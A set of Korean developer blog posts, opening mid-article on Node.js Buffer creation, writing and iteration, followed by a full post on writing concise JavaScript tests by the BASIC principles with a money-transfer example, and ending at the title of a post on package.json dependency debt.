위 예제에서는, 7쌍의 문자를 볼 수 있다. 각 쌍은 버퍼에 저장된 바이트를 나타낸다. 이 버퍼의 크기는 7이다. 그런데, 아까 0과 1로 이루어졌다고 했는데, 보이는 건 그렇지가 않다. 🤔 그 이유는 nodejs는 16진수를 활용하여 바이트를 표현하기 때문이다. 그러므로 모든 마이트는 0\~9, a\~f를 활용한 두자리로만 나타낼 수 있다.

근데 버퍼는 왜 필요한걸까? 버퍼가 도입되기 이전에는 자바스크립트에서는 이 바이너리 데이터를 처리할 방법이 마땅히 없었다. 속도가 느리고, 바이너리를 처리할 전문적인 도구가 없기 때문에 기존에는 문자열 (string)과 같은 원시 값들을 이용해야 했다. 버퍼는 비트와 바이트를 조금더 쉽게, 그리고 성능에도 유리한 방법으로 조작할 수 있도록 제공되고 있다.

## 버퍼 사용해 보기

버퍼로 무엇을 할 수 있는지 살펴보자.

이제 곧 버퍼에 대해서 알아볼 텐데, 이 처리하는 방식이 자바스크립트의 배열과 유사하다는 것을 알 수 있다. `slice` 라던가 `concat`가 있다거나, `length`로 길이를 구할 수 있다거나. 버퍼는 또한 이터러블 하며 `for-of`에서도 사용할 수 있다.

### 버퍼 생성하기

버퍼를 생성하는 방법은 크게 세가지가 있다.

- `Buffer.from()`
- `Buffer.alloc()`
- `Buffer.allocUnsafe()`

> 과거에는 constructor를 사용하는 방법도 있었지만, 이 방법은 deprecated 되었으므로 쓰지 않는 것이 좋다.

#### `Buffer.from`

이 방법은 buffer를 만드는 가장 뚜렷한 방법이다. string, 배열, `ArrayBuffer` 혹은 또다른 버퍼 인스턴스를 인수로 받을 수 있다. 무엇을 넘겨주냐에 따라서, `Buffer.from()`은 버퍼를 약간씩 다른 방법으로 만든다.

일단 문자열을 넘기면, 그 문자열을 담고 있는 새로운 버저 객체를 만들어 낸다. 기본적으로, 문자열을 `utf-8`로 인코딩한다. [가능한 인코딩 타입들](https://nodejs.org/api/buffer.html#buffer_buffers_and_character_encodings)

```javascript
// utf8로 생성
Buffer.from('yceffort')
// <Buffer 79 63 65 66 66 6f 72 74>

Buffer.from('19881024', 'hex')
// <Buffer 19 88 10 24>
```

또한 바이트의 배열을 파라미터로 넘길 수 있다.

```javascript
Buffer.from([0x79, 0x63, 0x65, 0x66, 0x66, 0x6f, 0x72, 0x74])
// <Buffer 79 63 65 66 66 6f 72 74>
```

> `0xNN`은 `0x` 뒤의 값이 16 진수라는 것을 의미한다.

만약 `Buffer.from()`에 또다른 버퍼를 넘긴다면, nodejs는 해당 버퍼를 복제해서 또다른 버퍼를 만든다. 그리고 이렇게 생성된 새로운 버퍼는 메모리의 다른 공간에 저장해두기 때문에, 독립적으로 수정할 수 있다.

```javascript
const buffer1 = Buffer.from('yceffort')
const buffer2 = Buffer.from(buffer1)

buffer2[0] = 0x63

console.log(buffer1.toString()) // yceffort
console.log(buffer2.toString()) // cceffort
```

#### Buffer.alloc

`.alloc()` 메소드는 데이터를 채울 필요가 없는 빈 버퍼를 생성하고 싶을 때 유용하다. 기본적으로, 숫자를 인수로 받으며 받은 숫자만큼의 빈 사이즈의 버퍼를 생성한다.

```javascript
Buffer.alloc(7)
// <Buffer 00 00 00 00 00 00 00>
```

이렇게 생성한 버퍼에, 원하는 데이터를 채울 수 있다.

```javascript
const buffer = Buffer.alloc(1)
buffer[0] = 0x78
buffer.toString('utf-8')
// 'x'
```

#### Buffer.allocUnsafe()

`allocUnsafe`를 사용하면 버퍼안의 내용을 검사하고 0으로 채우는 기본적인 작업을 스킵한다. 버퍼는 이전 데이터를 포함 할 수 있는 메모리 ("unsafe" 이라는 뜻은 여기에서 나온 것이다) 영역에 할당한다. 예를 들어, 다음 코드를 실행하면 실행 시마다 매번 일부 랜덤 데이터를 프린트 하게 된다.

```javascript
const buffer = Buffer.allocUnsafe(100)
buffer.toString('utf-8')
// '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```

도대체 쓸 곳이 없어 보이는 이 메소드는 안전하게 할당된 버퍼를 복사하는 케이스에 사용해 봄직하다. 복사된 버퍼를 완전히 덮어 써버리기 때문에 모든 이전 바이트가 예측 가능한 데이터로 대체할 수 있게 된다.

```javascript
const originalBuffer = Buffer.from('hello, yceffort')
const copyBuffer = Buffer.allocUnsafe(originalBuffer.length)
originalBuffer.copy(copyBuffer)
copyBuffer.toString()
// 'hello, yceffort'
```

일반적으로, `allocUnsafe()`는 오로지 적절한 이유가 있을 때만 사용하는 것이 좋다. (성능 최적화 라던가) 이 메소드를 사용할 때는, 내부에 예측하지 못한 데이터로 채워지지 않도록 꼭 적절한 데이터로 채워야 한다. 그렇지 않으면 원치 않는 정보가 밖으로 새내어갈 수 도 있다.

### Buffer를 쓰기

`Buffer.write()`를 사용하여 일반적으로 버퍼에 데이터를 쓰는 작업을 진행한다. 기본적으로, `utf-8`로 별도 오프셋 없이(버퍼 맨처음 부터) 작성된다. 이 메소드를 쓰면, 버퍼를 사용하는데 들었던 바이트를 리턴한다.

```javascript
const buffer = Buffer.alloc(7)

buffer.write('yceffort')
buffer.write('babo yceffort')

buffer.toString()
// 'babo yc', 7로 생성했기 때문에 이후 데이터는 잘린다.
```

한가지 명심해야할 것은, 모든 글자가 하나의 바이트에 저장되지 않는 다는 것이다.

```javascript
const wrongEmojiBuffer = Buffer.alloc(1)
wrongEmojiBuffer.write('🥸')
wrongEmojiBuffer.toString()
// \x00'
```

utf-8 인코딩은 최대 4바이트의 문자를 지원한다. 버퍼 크기는 이후에 수정할 수 없으므로, 항상 버퍼에 작성하는 내용과 버퍼의 크기와 작성하려는 콘텐츠의 크기를 항상 염두해 두어야 한다.

```javascript
const emojiBuffer = Buffer.alloc(4)
emojiBuffer.write('🥸')
emojiBuffer.toString()
// '🥸'
```

버퍼를 쓰는 또다른 방법은 버퍼의 특정위치에 바이트를 추가하는, 즉 배열에 요소를 넣는것 과 같은 방법을 사용하는 것이다. 1바이트를 초과하는 데이터는 버퍼의 각 위치에서 분해해서 설정해야 한다.

```javascript
const buff = Buffer.alloc(5)

buff[0] = 0x68 // 0x68 is the letter "h"
buff[1] = 0x65 // 0x65 is the letter "e"
buff[2] = 0x6c // 0x6c is the letter "l"
buff[3] = 0x6c // 0x6c is the letter "l"
buff[4] = 0x6f // 0x6f is the letter "o"

console.log(buff.toString())
// hello

// 2바이트 이상의 글자를 한 버퍼에 넣는 다면 실패한다.
buff[0] = 0xc2a9

console.log(buff.toString())
// --> '�ello'

buff[0] = 0xc2
buff[1] = 0xa9

console.log(buff.toString())
// ©llo
```

배열 처럼 쓸 수 있는 건 재밌는 일이지만, 가능하면 `Buffer.from`을 사용하는 것이 좋다. 입력 값의 길이를 관리하는 것은 굉장히 어렵고, 코드의 복잡성을 키울 수 있다. `from()`을 사용하면 별 걱정 없이 쓸 수 있으며, 입력이 너무 큰 경우 입력이 잘 되지 않는 지등을 확인하여 처리할 수 있다.

### 버퍼 순회하기

모던 자바스크립트에서 순회를 하는 방식으로, 버퍼도 마찬가지로 순회 할 수 있다.

```javascript
const buffer = Buffer.from('yceffort')
for (const b of buffer) {
  console.log(b.toString(16))
}
// 79
// 63
// 65
// 66
// 66
// 6f
// 72
// 74
```

`.entries()` `.values()` `.keys()`도 물론 가능하다.

```javascript
const buffer = Buffer.from('yceffort')
const copyBuffer = Buffer.alloc(buffer.length)
for (const [index, b] of buffer.entries()) {
  copyBuffer[index] = b
}

console.log(copyBuffer.toString())
// yceffort
```

## 버퍼와 TypedArrays

자바스크립트에서는, 메모리를 `ArrayBuffer` 클래스를 사용하여 할당 할 수 있다. 이 `ArrayBuffer` 객체를 직접 조작하는 경우는 거의 없다. 대신 이 `ArrayBuffer`를 참조하는 "view" 객체 집합을 사용한다. 이 객체 집합으로는 다음과 같은 것들이 있다.

- `Int8Array`
- `Uint8Array`
- `Uint8ClampedArray`
- `Int16Array`
- `Uint16Array`
- `Int32Array`

> https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#typedarray_objects

그리고 `TypedArray`가 있다. 이는 위에 나열된 모든 뷰 객체를 포괄하는 용어다. 모든 뷰 객체는 프로토타입을 통해 `TypedArray` 메소드를 상속한다. `TypedArray` 생성자는 글로벌로 노출되지 않으므로 `new TypedArray()`와 같은 방법을 사용해야 한다.

nodejs에서는 Buffer 클래스로 생성된 객체도 `Unit8Array` 인스턴스다. 여기에는 아주 작은 차이점이 존재한다.

> https://nodejs.org/api/buffer.html#buffer_buffers_and_typedarrays

---

Source: https://yceffort.kr/2021/10/how-to-write-good-javascript-test-code.md
Title: 좋은 자바스크립트 테스트 코드를 짜는 방법
Description: 개발자는 코드로 돈을 벌지, 테스트로 버는 사람이 아니다. 따라서 테스트는 주어진 신뢰에 도달할 수 있게 최대한 간결하게 작성되어야 한다.
Date: 2021-10-10
Tags: javascript, testing

## Table of Contents

## tl;dr

![BASIC Principles](https://miro.medium.com/max/1400/1*D_CFjHViMGu6HcidoSlR9Q.png)

### Black-Box

테스트는 내부가 아닌, 외부 결과물을 테스트 해야 한다.

- REST API 또는 Public API를 통해 테스트 하기
- mock을 최소화
- 테스트 더블 (실제 객체를 사용하기 어렵거나 모호할 때 대신해 줄 수 있는 테스트 객체)을 사용하여 컴포넌트를 테스트 할 것

### Annotative

각 테스트는 예측가능하고 선언적인 구조로 이루어져있어야 한다.

- 테스트명은 3개의 반복적인 구조를 가지고 있어야 한다.
- AAA Pattern을 사용할 것 (Arrange, Act, Assert)
- Assertion은 선언적인 스타일에서 확인이 이루어져야 한다.
- 테스트는 7 문장 이상으로 이루어져 있으면 안된다.

### Single Door

각 테스트 검사는 하나의 액션과 하나의 응답으로 이루어져야 한다.

- 각 테스트는 하나의 애플리케이션 액션, 즉 하나의 함수 호출을 테스트 해야 한다.
- 각 테스트 결과물은 호출에 따른 하나의 결과물만 확인 해야 한다.
- 결과물이 성공적이라는 것을 증명하기 위해 최소한의 assertion을 사용해야 한다.

### Independent

테스트는 어떠한 상태도 공유하지 않는 독립된 공간이어야 한다.

- 테스트는 긴 문제를 위한 7개의 문장으로 이루어져 있어야 한다.
- 다른 테스트와 객체나 데이터를 공유해서는 안된다.
- 테스트는 다른 테스트의 결과에 영향을 미쳐서는 안된다. 테스트의 실행순서도 고려되어서는 안된다.
- 코드를 공유해야하는 부득이한 상황에서는 아주 작은 helper만 사용해야 한다.

### Copy

테스트를 작성한 의도를 이해하기 위해 필요한 모든 것을 포함해야 한다.

- 테스트 결과물은 쉽게 추론 가능해야 한다.
- 테스트에 필요한 의미있는 정보를 테스트 외부에 두어선 안된다.
- 필요한 경우에만 코드를 복사한다.
- 테스트에 집중해라. 중요하지 않은 정보는 외부 헬퍼나 훅을 이용해라
- 팩토리 기법을 사용하여 긴 구조를 만들어라. - 의미있는 정보만 넘겨서 오버라이딩 해라.

## BASIC

BASIC 이라는 약자를 바탕으로, 한글자씩 살펴보자. 각 글자는 테스트 코드를 만들 때 고려해야하는 원칙을 나타낸다. 그리고, 이 BASIC 원칙을 적용하여 길고 번거로운 테스트 코드가 아닌 간결하고 아름다운 테스트 코드를 짜는 방법을 알아볼 것이다.

### Black-Box

테스트 코드는 단지 테스트 중인 컴포넌트가 객체가 무엇을 만들고 호출하는 사람이 무엇을 받게 될 것인지에 대해서만 관심을 가진다. 즉, API 또는 코드 객체 (유닛) 에 대해서만 신경 쓸 것이다. 만약 버그가 밖에서 일어나느 게 아니라면, 사용자에게도 별로 중요하지 않을 것이다. 따라서 우리에게도 이는 주요 관심사가 아니다. 작동 방식을 테스트 하지말고, 작업 그 자체에만 집중해야 한다. 어떤 함수를 호출하는지는 중요하지 않고, 결과에만 집중하면 된다.예를 들어, 유닛테스트의 응답, 관찰할 수 있는 상태값, 외부 코드에 대한 호출 등을 예를 들 수 있다. 외부로 노출 되는 것에만 초점을 맞춤으로써, 세부적인 코드의 양을 줄이면 테스트 코드 작성자는 UX에 영향을 미칠 수 있는 중요한 사항에 우선순위를 정하게 될 것이다. 이는 본질적으로 테스트 코드의 길이와 복잡성을 낮출 수 있다.

### Annotative

테스트 코드는 선언적인 언어로 예측 가능한 구조를 가져야 한다. 코드라기 보다는 일종의 주석 처럼 느껴져야 한다. 테스트 코드와 다르게 프로덕션 코드를 훑어 보는 것은 명확한 시작과 끝을 알 수 없는 일종의 여행이다. 프로덕션 코드를 이해하기 위해서는 애플리케이션에 대한 깊이 있는 이해가 필요하다. 반면에 HTML 코드는 어떤가? 태그가 시작하면, 우리는 태그의 끝을 찾게 되고 쉽게 다음에 올 코드를 예상할 수 있다. HTML 코드를 읽는 것은 프로덕션 코드를 읽는 것보다 확실히 쉽다. HTML 코드를 짜듯이, 테스트 코드도 선언적이고 구조적으로 만들어야 한다.

어떻게하면 테스트 코드를 선언적이고 구조적으로 만들수 있을까? `AAA Pattern`을 준수하고, 선언적 assertion, 최대 7 구문 내에서 아래 6개의 절차를 끝내야 한다. 참고: https://github.com/goldbergyoni/javascript-testing-best-practices

```javascript
// 1. Unit
describe('돈을 송금한다.', () => {
  // 2. 시나리오, 3. 기대 값
  test('유효한 송금이 완료되면, 올바른 응답이 와야 한다.', () => {
    // 4. arrange
    const moneyTransferRequest = {
      sender: 'yceffort@gmail.com',
      amount: 15000,
      receiver: 'root@yceffort.kr',
    }
    const transferService = new TransferService()

    // 5. act
    const result = transferService.transfer(moneyTransferRequest)

    // 6. assert
    expect(result.status).toBe('approved')
  })
})
```

### Single Door

모든 테스트 코드는 단 한가지에만 집중해야 한다. 일반적으로 애플리케이션에서 하나의 작업을 실행하고, 이 작업에 대한 응답으로 발생한 결과 하나 만을 확인해야 한다. 여기서 말하는 '작업'이란 함수 호출, 버튼 클릭, Rest API 호출, 큐에 있는 메시지, 스케쥴 된 작업 등 기타 여러 시스템 이벤트가 될 수 있다. 이 작업을 수행한 후에는 최대 세 가지 결과가 일어날 수 있다. 응답이 오거나, 상태 값이 변하거나 (DB, 인메모리) 또는 써드파티 서비스 호출. 통합테스트 (integration test)내에는 아래 6 종류의 결과가 도출 될 수 있다.

#### 백엔드 테스트 체크리스트

##### API 응답

아래 내용을 점검

- http status
- http body 내 데이터
- http body 구조
- (openapi 등의) 문서 준수 여부

##### State (DB)

API를 기반으로 아래 내용을 점검

- 데이터 저장/수정
- 실패시 데이터가 저장/수정되지 않음
- 관계 없는 데이터가 수정되지 않음
- 마이그레이션이 성공됨

##### Observability(관측성)와 에러

아래 내용을 점검

- 구체적인 에러가 로깅 되었는지
- 에러가 모니터링을 위해 전송되었는지
- 에러이름, 코드가 정확한지
- HTTP 응답 코드
- 프로세스가 예기치 않게 종료되었는지

##### Integrations (통합)

stub, mock, nock 등으로 아래 요소를 점검

- 외부 서비스가 200 이외의 응답이 오는지
- 외부 서비스가 응답하지 않는지
- 외부 서비스 호출을 양식에 맞게 하는지
- 외부 서비스 응답이 느리게 오는지

##### 보안

- 인증이 충분하지 않으면 401이 오는지
- 사용자 A가 사용자 B의 데이터를 볼수 없어야 함
- 주어진 권한 이상으로 작업을 할 수 없어야 함
- 인증이 만료되면 401이 오는지

##### 메시지 큐

- 메시지가 큐로 전송되는지
- 받은 메시지가 ACK/NACK 인지
- 중복 메시지를 잘 처리하는지
- 오염된(잘못된) 메시지를 수신하지 않는지
- 재시도가 실패로 이어지는지

![checklist](https://pbs.twimg.com/media/FAm8QTnXIAQRzCq?format=jpg&name=large)

> https://pbs.twimg.com/media/FAm8QTnXIAQRzCq?format=jpg&name=large

이러한 잠재적인 결과는 assertion을 통해 테스트 되어야 한다. 이로 인해 얻을 수 있는 것은 무엇인가? 각 테스트를 유닛 단위로 좁히면 테스트 시간이 단축되고 근본적인 원인을 분석하는데 도움을 준다. 장애가 발생할 경우 무엇이 작동하지 않아서 장애가 일어나는지 명확하게 분석할 수 있게 된다. 적당히 좋은 규칙이면서도, 너무 엄격하지도 않다. 하나의 테스트에서 2~3개 정도 테스트 하는 것은 괜찮다. (너무 많으면 좋지 않다) 숫자가 아닌 목표에 집중하라. 간단하고 간결한 테스트를 작성해야 한다.

### Independent

테스트는 7~10줄 사이의 문제이며, 다른 어떤 코드와도 겹치지 않는 독립적인 공간이다. 독립적이고, 짧으며, 선언적인 테스트 코드를 유지하는 것이 중요하다. 그러나 테스트 코드를 일부 글로벌 객체와 연동하는 것은 주의를 기울여야 한다. 갑자기 테스트가 많은 부수효과 (side effect)에 노출되며 복잡성이 급격히 커진다. 커플링은 실행 순서, UI 상태, 불문명한 mock 등 어떤 상황에서도 일어날 수 있다. 이 모든 것들을 피해야 한다. 대신, 자체 DB 등을 활용하여 각 테스트 에서 종속성을 분리해야 하고, 코드 그 자체 만으로도 설명할 수 있는 환경을 유지해야 한다.

### Copy only what is necessary

코드 이해에 필요한 모든 세부 사항을 테스트에 포함시켜야 한다. 그 이상일 필요는 없다. 딱 필요한 것만. 중복이 너무 많으면 유지 보수 하기 어려워지는 테스트가 만들어질 수 있다. 반면에 중요한 세부 정보를 외부에 노출하면 많은 파일에 걸쳐 이것이 무슨 의미 인지 검색해야 한다. 예를 들어 100여줄의 JSON 파일을 테스트 하는 코드가 있다고 가정해보자. 모든 테스트에서 이를 붙여 넣는 것은 매우 지겨운 일이다. 그렇다고 외부에서 `transferFactory.getJSON()`으로 압축해버리면 무엇을 하는지 모호 해진다. 데이터가 없으면 테스트 결과, 왜 이 결과가 400이 되어야 하는지를 이해 하는 것이 모호해진다. 고전적인 x-unit 패턴은 이를 'mystery guest'라고 이름 지었다. 눈에 보이지 않는 무언가가 테스트 결과에 영향을 미친다면, 우리는 정확히 알 수가 없다. 오직 필요한 내용만 테스트 코드에 존재해야 한다.

외부에서는 반복 가능한 긴 부분을 따로 추출하고, 테스트에서 어떤 세부사항이 중요한지 자세히 언급함으로써 더 좋은 테스트 코드를 짤 수 있다. 위의 예제를 활용한다면, `transferFactory.getJSON({sender: undefined})` 와 같이 함수의 인수를 활용하는 방식이 있을 수 있다. 이 테스트에서는 `sender`가 없다면 테스트가 오류를 내뱉거나 기타 다른 결과를 내야한다는 것을 적절히 유추할 수 있다.

## 실제 예제로 살펴보기

위 5가지 기본 원리를 적용하여 복잡도가 높고 얽혀있는 테스트를 보다 간단한 테스트로 변환해 보자.

아래는 우리가 테스트할 애플리케이션이다. 송금 서비스가 제공되고 있다. 이 코드는 송금 요청을 확인하고, 몇가지 로직을 적용하며, 이후에 은행 http 서비스에 송금을 요청하고, 마지막으로 이 결과를 DB에 기록한다.

```javascript
class TransferService {
  async transfer({id, sender, receiver, transferAmount, bankName}) {
    // 유효성 검사
    if (!sender || !receiver || !transferAmount || !bankName) {
      throw new Error('Some mandatory property was not provided')
    }

    // 보낼 수 있는지 잔고 확인
    if (
      this.options.creditPolicy === 'zero' &&
      sender.credit < transferAmount
    ) {
      this.numberOfDeclined++ // 거절 횟수 증가
      return {id, status: 'declined', date}
    }

    // 돈을 보내고
    await this.bankProviderService.transfer(
      sender,
      receiver,
      transferAmount,
      bankName,
    )
    // 우리 DB에 쌓는다
    await this.repository.save({
      id,
      sender,
      receiver,
      transferAmount,
      bankName,
    })

    return {id, status: 'approved', date: new Date()}
  }

  getTransfers(senderName) {
    // Query the DB
  }
}
```

### 구린 테스트 예제

먼저 좋지 않은 테스트 예제를 아래와 같이 나열해보았다. ❌ 표시는 무언가 개선할 여지가 있다는 뜻이다.

```javascript
// ❌
test('Should fail', () => {
  const transferRequest = testHelpers.factorMoneyTransfer({}) // ❌
  serviceUnderTest.options.creditPolicy = 'zero' // ❌
  transferRequest.howMuch = 110 // ❌

  // sinon 라이브러리를 사용하여 db 저장 함수를 흉내냄
  const databaseRepositoryMock = sinon.stub(dbRepository, 'save') //❌
  const transferResponse = serviceUnderTest.transfer(transferRequest)
  expect(transferResponse.currency).toBe('dollar') // ❌
  expect(transferResponse.id).not.toBeNull() // ❌
  expect(transferResponse.date.getDay()).toBe(new Date().getDay()) // ❌
  expect(serviceUnderTest.numberOfDeclined).toBe(1) // ❌
  expect(databaseRepositoryMock.calledOnce).toBe(false) // ❌

  // 사용자 송금 이력 가져오기
  const allUserTransfers = serviceUnderTest.getTransfers(
    transferRequest.sender.name,
  )
  expect(allUserTransfers).not.toBeNull() // ❌ Overlapping
  expect(allUserTransfers).toBeType('array') // ❌ Overlapping

  // 거부된 송금이 사용자 기록에 남는지 확인 ❌
  let transferFound = false
  allUserTransfers.forEach((transferToCheck) => {
    if (transferToCheck.id === transferRequest.id) {
      transferFound = true
    }
  })
  expect(transferFound).toBe(false)

  // 이메일이 전송되었는지 확인 ❌
  if (
    transferRequest.options.sendMailOnDecline &&
    transferResponse.status === 'declined'
  ) {
    const wasMailSent = testHelpers.verifyIfMailWasSentToTransfer(
      transferResponse.id,
    )
    expect(wasMailSent).toBe(true)
  }
})
```

### BASIC 원칙으로 좋은 테스트 만들어보기

```javascript
test(‘Should fail’, () => {
```

```javascript
describe(‘transferMoney’)// The operation under test
{
  test(‘When the user has not enough credit, then decline the   request’, () =>
}
```

Pattern: Annotative

- 테스트는 구조화되고 잘 꾸며진 형식으로 테스트의 의도를 명확히 알수 있어야 한다.

---

```javascript
const transferRequest = testHelpers.factorMoneyTransfer({})
```

```javascript
const transferRequest = testHelpers.factorMoneyTransfer({
  credit: 50,
  transferAmount: 100,
})
```

Pattern: Copy only what is necessary

이 라인은 JSON을 단순히 추상화 하고 있기 때문에, 어떤 데이터인지 알수 있는 방법이 없다. 따라서 읽는 사람은 이 데이터에 무언가 문제가 있다고 추정하는 수밖에 없다. 테스트는 보는 사람이 테스트를 벗어나지 않고도 명확하게 이해할 수 있도록 잘 선언되어 있어야 한다.

항상 테스트의 성공 또는 실패에 대한 중요한 세부 정보를 테스트 내에서 가지고 있어야 한다. 나머지는 모두 밖에 있어야 한다. 실제로 다이나믹 팩토리 기법은 특정 부분을 오버라이드 하는 동시에 기본 값을 제공하는데 큰 도움이 될 수 있다.

---

```javascript
serviceUnderTest.options.creditPolicy = 'zero'
```

모든 테스트에 대한 각 서비스를 별도로 생성해서, 글로벌 서비스가 아닌 자신만의 인스턴스를 사용해야 한다.

Pattern: Independent

이 라인은 테스트의 복잡성을 크게 높였다. 모든 테스트가 글로벌 객체를 공유하고, 해당 속성을 수정할 수 있으면 다른 파일에 있는 다른 테스트에서 실패가 발생할 수 있다. 위의 테스트는 시스템의 상태를 잘 알지 못한채로 수정을 가할 수 있다. 이제 한번의 짧은 테스트에서 실패를 확인하는 대신, 같은 파일에 있는 다른 테스트 사례를 훑어보고 어디가 잘못되었는지 확인할 수 있어야 한다.

---

```javascript
transferRequest.howMuch = 110 //
```

```javascript
const amountMoreThanTheUserCredit = 110
transferRequest.howMuch = amountMoreThanTheUserCredit
// 또는
transferRequest = {credit: 50, howMuch: 100}
```

Pattern: Copy only what is necessary

110은 무엇을 의미하는가? 이는 읽는 사람으로 하여금 무엇인가 추정할 수 없게 한다. 단지 그냥 숫자일 뿐이다. 높은 숫자인가? 낮은 숫자인가? 이 숫자의 의미는 무엇인가? 작성자는 유저의 크레딧 보다 높은 값, 즉 테스트 결과와 깊은 관계가 있는 중요한 정보를 선택하였지만 읽는 사람으로 하여금 이 의미를 전달하지 못했다. 이를 해결하기 위해서는 적당한 네이밍이 있는 변수에 값을 넣어서 사용해야 한다.

---

```javascript
const databaseRepositoryMock = sinon.stub(dbRepository, ‘save’);
// save 함수를 mock 으로 만들어, 이 함수가 불리지 않는지 테스트 한다.
```

```javascript
// Assert - 송금이 이루어지지 않았는지 확인
const senderTransfersHistory = transferServiceUnderTest.getTransfers(
  transferRequest.sender.name,
)
expect(senderTransfersHistory).not.toContain(transferRequest)
```

Pattern: Black box

작성자의 의도는 무엇인가? 거절된 이체가 실제로 DB에 까지 저장되지 않았는지를 확인하기 위해서다. 이를 위해 DB 엑세스 함수를 만들고, 호출되지 않는지를 확인한다. 그러나 이는 불필요한 테스트다. 가능하면 프로덕션에서 발생할 수 있는 시나리오 대로 사용자의 흐름을 테스트하는 것이 좋다.

---

```javascript
expect(transferResponse.currency).toBe(‘dollar’);
 expect(transferResponse.id).not.toBeNull();
 expect(transferResponse.date.getDay()).toBe(new Date().getDay());
```

이런 테스트 코드는 삭제하는 것이 좋다.

Pattern: Single door

이 테스트를 만든 개발자는 전체 송금 흐름에서 모든 버그를 잡기를 원하는 것 같다. 그러나 이는 잘못되었다. 테스트는 짧고 한가지에 집중해서 이루어 져야 한다. 단일 테스트에서 많은 결과를 가지고 긴 흐름을 가져 갈경우 테스트 전체의 가독성을 떨어뜨린다. 테스트가 실패했을 때, 무시해도 될 세부적인 내용일지, 혹은 시스템 전체가 다운되서 그런건지 알수가 없다. 근본적인 원인을 찾기가 어려워 진다는 것이다. 테스트 코드를 만들때에는, 몇가지 아주 세부적인 사항은 희생하는 것이 좋다.

---

```javascript
expect(serviceUnderTest.numberOfDeclined).toBe(1)
```

삭제하는 것이 좋다. 우리는 구현이 어떻게 되었는지는 관심갖지 않아도 된다. 결과물이 괜찮다면, 구현도 괜찮은 것으로 간주한다.

Pattern: black box

코드 내부적으로 `numberOfDeclined`를 사용하여 오류를 저장하고 있는 것으로 보인다. 아마도 이는 오류 보고를 하는데 사용뙤고 있을 것이다. 본질적으로, 구현 세부사항은 단순히 결과 보다 훨씬 많다. 모든 기능, 필드, 상호작용을 검사하면 함수당 수십개 또는 수백개의 테스트가 나올 수도 있고 결과적으로 테스트 파일도 엄청나게 길어질 것이다. 공개적으로 사용 가능한 결과만 확인할 때 테스트 코드의 크기는 줄어들고, 문제를 확인하는게 훨씬 쉬워 진다. 내부적으로 뭔가 잘못되었찌만, 외부에 반영되고 있지 않은 버그는 사용자에게 영향을 주지 않는다. 우리에게 중요한 것은 구현 세부사항이 아닌 결과물이다.

---

```javascript
// 사용자 송금 이력 가져오기
const allUserTransfers = serviceUnderTest.getTransfers(transferRequest.sender.name);
expect(allUserTransfers).not.toBeNull(); // ❌ Overlapping
expect(allUserTransfers).toBeType(‘array’); // ❌ Overlapping
```

```javascript
expect(senderTransfersHistory).not.toContain(transferRequest)
```

Pattern: Single-door

테스트 코드 작성자는 응답 배열이 유효한지 확인하고자 한다. 훌륭하지만, 중복이 일어나고 있다. array에 transfer가 없다면, 다른 모든 테스트는 암묵적으로 증명되는 거나 다름 없다. assertion은 많을 필요가 없다. 코드의 논점을 흐리기 때문이다. 테스트는 적게 노력하고, 코드를 읽는 사람을 배려하며, 중요한 부분을 강조해야 한다. 적은 코드를 사용하여 동일한 신뢰도를 달성할 수 있다면, 그렇게 하는 것이 좋다.

---

```javascript
// 거부된 송금이 사용자 기록에 남는지 확인 ❌
let transferFound = false
allUserTransfers.forEach((transferToCheck) => {
  if (transferToCheck.id === transferRequest.id) {
    transferFound = true
  }
})
```

```javascript
expect(senderTransfersHistory).not.toContain(transferRequest)
```

Pattern: Annotative

이 테스트에서는 거절된 송금이 시스템에 저장되지 않는지, 그리고 검색 가능한지 확인하려고 한다. 따라서 거절된 송금이 시스템에 저장되지 않는지를 확인하기 위해 모든 사용자의 송금을 순환하면서 확인한다. 필수적인 코드이지만, 너무 복잡하다. 테스트에 루프, 조건문, 상속, 트라이 캐치 등 모든 프로그래밍 요소가 들어가 있을 경우 복잡성이 커질 수 있다. 선언적인 코드로 테스트를 단순하게 유지하는 것이 중요하다. 위 변경된 스타일은 세부 구현 사항을 이해할 필요 없이 즉시 읽고 이해 하면 된다. 선언적인 코드를 고수해야 한다.

### 결과

```javascript
test('크레딧이 없을 경우, 거절된 송금은 송금자의 송금 히스토리에 남아서는 안된다.', () => {
  // Arrange
  const transferRequest = testHelpers.factorMoneyTransfer({
    sender: {credit: 50},
    transferAmount: 100,
  })
  const transferServiceUnderTest = new TransferService({
    creditPolicy: 'NoCredit',
  })

  // Act
  transferServiceUnderTest.transfer(transferRequest)

  // Assert
  const senderTransfersHistory = transferServiceUnderTest.getTransfers(
    transferRequest.sender.name,
  )
  expect(senderTransfersHistory).not.toContain(transferRequest)
})
```

## 결론

아름다운 테스트란 최소한의 노력으로 적절한 자신감을 얻는 것이다. TDD의 아버지인 Kent Beck도 이렇게 얘기 했다.

> I get paid for code that works, not for tests, so my philosophy is to test as little as possible to reach a given level of confidence
>
> 우리는 테스트가 아닌 프로덕션 코드로 돈을 벌기 때문에, 주어진 신뢰에 도달하기 위해 가능한 한 적게 테스트 하는 것이 제 철학입니다.

테스트 커버리지를 넓히는 것 만큼, 테스트에 쓰이는 노력을 줄이는 것도 중요하다.

- https://yonigoldberg.medium.com/fighting-javascript-tests-complexity-with-the-basic-principles-87b7622eac9a
- https://github.com/goldbergyoni/javascript-testing-best-practices

---

Source: https://yceffort.kr/2021/10/debt-of-package-json.md
Title: package.json에 쌓여있는 개발 부채
Description: 설치와 업데이트 시에는 신중에 신중을.
Date: 2021-10-06
Tags: javascript, nodejs, dependency-management

## Table of Contents

## Introduction

